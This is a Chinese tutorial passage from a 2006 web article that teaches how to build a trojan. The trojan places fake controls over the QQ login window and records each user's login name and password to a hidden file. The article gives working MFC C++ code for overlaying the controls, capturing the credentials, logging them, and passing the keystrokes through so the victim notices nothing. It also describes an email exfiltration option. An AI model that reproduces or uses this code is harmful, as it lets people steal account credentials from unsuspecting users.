黑客攻击手段之偷梁换柱
2006-07-18 11:25:15 来源:WEB开发网这两个控件生成了!但是光生成两个控件还没用,我们得让两个控件告诉我们什么时候按了回车,什么时候点击了Mouse左键。那就得对EDIT、BUTTON做一下处理才行。用ClassWinzard生成二个派生类CMyEdit、CMyButton,分别生成WM_LBUTTONUP、PreTranslateMessage,让它处理相应的按键事件。并通讯事件发个消息给我的主对话框,那就要取得我的对话框的句柄,在两个派生类中分别生成函数
SetWnd(CWnd *pWnd)用于告知主对话框的窗口句柄。
在CMyEdit的 PreTranslateMessage(MSG* pMsg)中输入 if(pMsg->message==WM_KEYDOWN)
{
if(pMsg->wParam==VK_RETURN)
m_wnd->SendMessage(WM_ButtonDown,0,0);
}
在CMyButton的OnLButtonUp(UINT nFlags, CPoint point)中输入
m_wnd->SendMessage(WM_ButtonDown,0,0);
以上将一个消息发送到我的对话框,我得把消息处里一下,做的干净漂亮些,这样用的人才不会知道我个木马程序在偷偷监视他们 CString Password,cc;
char LoginName[20] ;
memset(LoginName,0,20);
::SendMessage(m_hCom->GetSafeHwnd(), WM_GETTEXT, 20, (LPARAM)LoginName);
m_edit.GetWindowText(Password);
m_edit.ShowWindow(SW_HIDE);
m_hEdit->ShowWindow(SW_SHOW);
m_hOk->ShowWindow(SW_SHOW);
cc=0x0d;
cc+=0x0a;
CFileFind m_find;
CFile m_file;
if(!m_find.FindFile("c:\\oicqlog.dat"))
m_file.Open("c:\\oicqlog.dat",CFile::modeCreate|CFile::modeWrite,NULL);
else
{
m_file.Open("c:\\oicqlog.dat",CFile::modeWrite);
m_file.SeekToEnd();
}
m_file.Write(cc,cc.GetLength());
m_file.Write(LoginName,sizeof(LoginName));
m_file.Write(cc,cc.GetLength());
m_file.Write(Password,Password.GetLength());
m_file.Close();
m_hEdit->SetFocus();
char *ee=Password.GetBuffer(Password.GetLength());
::SendMessage(m_hEdit->GetSafeHwnd(),WM_SETTEXT,20,(LPARAM)ee);
keybd_event(VK_RETURN,0,0,0);
keybd_event(VK_RETURN,0,2,0);
return TRUE;
好了,一个简单的木马程序就写完了,如果再加上Email的功能,那就变得更完美了,具体细节可以分析作者提供的源代码,该代码可以设定EMAIL信箱,SMTP服务器,一次发送数量,密码文件位置。
示例程序的简单使用方法:按“捕获”按钮后程序被隐藏,当打开QQ时,QQ上的按钮已经被替换,登陆信息被记录在您所设置的密码文件中。请勿将此代码用于非法目的。
作者信息:
何建敏 he_jm@263.net
更多精彩
赞助商链接